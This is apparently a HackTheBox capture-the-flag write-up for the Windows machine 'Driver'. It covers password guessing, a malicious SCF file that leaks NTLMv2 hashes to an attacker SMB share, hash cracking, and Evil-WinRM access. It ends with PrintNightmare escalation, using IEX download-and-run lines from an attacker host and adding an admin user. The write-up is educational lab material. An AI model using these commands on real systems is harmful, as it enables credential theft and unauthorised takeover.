> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md). # Driver HackTheBox Writeup Driver HackTheBox Easy Windows machine writeup covering Password Guessing, SCF Malicious File, Print Spooler Local Privilege Escalation (PrintNightmare) (CVE-2021-1675], with practical enumeration, ex {% embed url="" %} {% hint style="warning" %} **Skills:** * Password Guessing * SCF Malicious File * Print Spooler Local Privilege Escalation (PrintNightmare) (CVE-2021-1675] {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.
**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.
**Open Port Discovery with Nmap:** Exploring open ports and exporting in the "allPorts" file in the Nmap directory: ```bash nmap --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.106 -oG allPorts ```
**Analysis of open ports with extractport:** Using the extractport function to in a concise format display open ports and copy them to the clipboard.
**Scan version of ports with Nmap:** Using Nmap to scan version of ports and extract information in "targeted" file: ```bash nmap -sCV -p80,135,445 -oN targeted ```
To resolve domain names to IP addresses via DNS, the domain name associated with its IP address is inserted into the `/etc/hosts` file:
### Analysis of Port 80: Port 80 hosts a web server with a connection panel.
Analyzing with **WhatWeb** identifies a default user name: `admin`.
Attempt to connect to `admin:admin` as an identifier. ### MFP Firmware Upadate center:
The site offers a firmware download option. The message indicates: > Select the printer template and download the corresponding firmware update on our file sharing. Our testing team will review the downloads manually and start testing soon.
## Exploitation - SCF Malicious File : Creating a malicious `.scf` file to capture a user's NTLMv2 when it opens: ``` [Shell] Command=2 IconFile=//10.10.14.7/smbFolder/pentestlab.ico [Taskbar] Command=ToggleDesktop ``` Listening with **impacket** to capture NTLMv2: ```bash impacket-smbserver smbFolder $(pwd) -smb2support ``` Capture the NTLMv2 hash for user `tony`.
Crack the NTLM hash with **John**: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` `tony:liltony`
## SMB and WinRM connection: **Access verification** with CrackMapExec: ```bash crackmapexec smb 10.10.10.106 -u 'tony' -p 'liltony' ```
/*/* WinRM/*/* connection with CrackMapExec: ```bash crackmapexec winrm 10.10.11.106 -u 'tony' -p 'liltony' ```
**Take control with Evil-WinRM**: ```bash evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony' ```
### Flag user.txt:
## Privilege Escalation : ### **1. Enumeration with PowerUp:** * Downloading the **PowerUp.ps1** script on the attack machine and adding the `Invoke-AllChecks` command at the end to start all checks. {% embed url="" %} Transferring script to the victim machine via Python HTTP server: ```bash python3 -m http.server 80 ``` Performance on target machine: ```powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/PowerUp.ps1') ``` > **Result**: No relevant items found.
### **2. Enumeration with winPEAS:** {% embed url="" %} Transfer of tool **winPEASx64.exe** to victim machine: `upload winPEASx64.exe`
## **PrintNightmare Exploitation (CVE-2021-1675)** A vulnerable **spoolsv** process is detected, listening on a TCP port.
Using an exploit script for PrintNightmare, available on GitHub. {% embed url="" %}
Here are the commands to execute: 1. **Transfer of script** to avoid blocking by Windows Defender: ```powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1') ``` 2. **Establishment of an administrator user** named `jordan`: ```powershell Invoke-Nightmare -DriverName "Xerox" -NewUser "jordan" -NewPassword "jordan1234!$" ```
`jordan:jordan1234!$` > **Status**: `jordan` user is now in the admin group.
### Connection with Administrator Privileges Machine connection via WinRM with **Evil-WinRM**: ```powershell evil-winrm -i 10.10.11.106 -u 'jordan' -p 'jordan1234!$' ```
### Flag root :)
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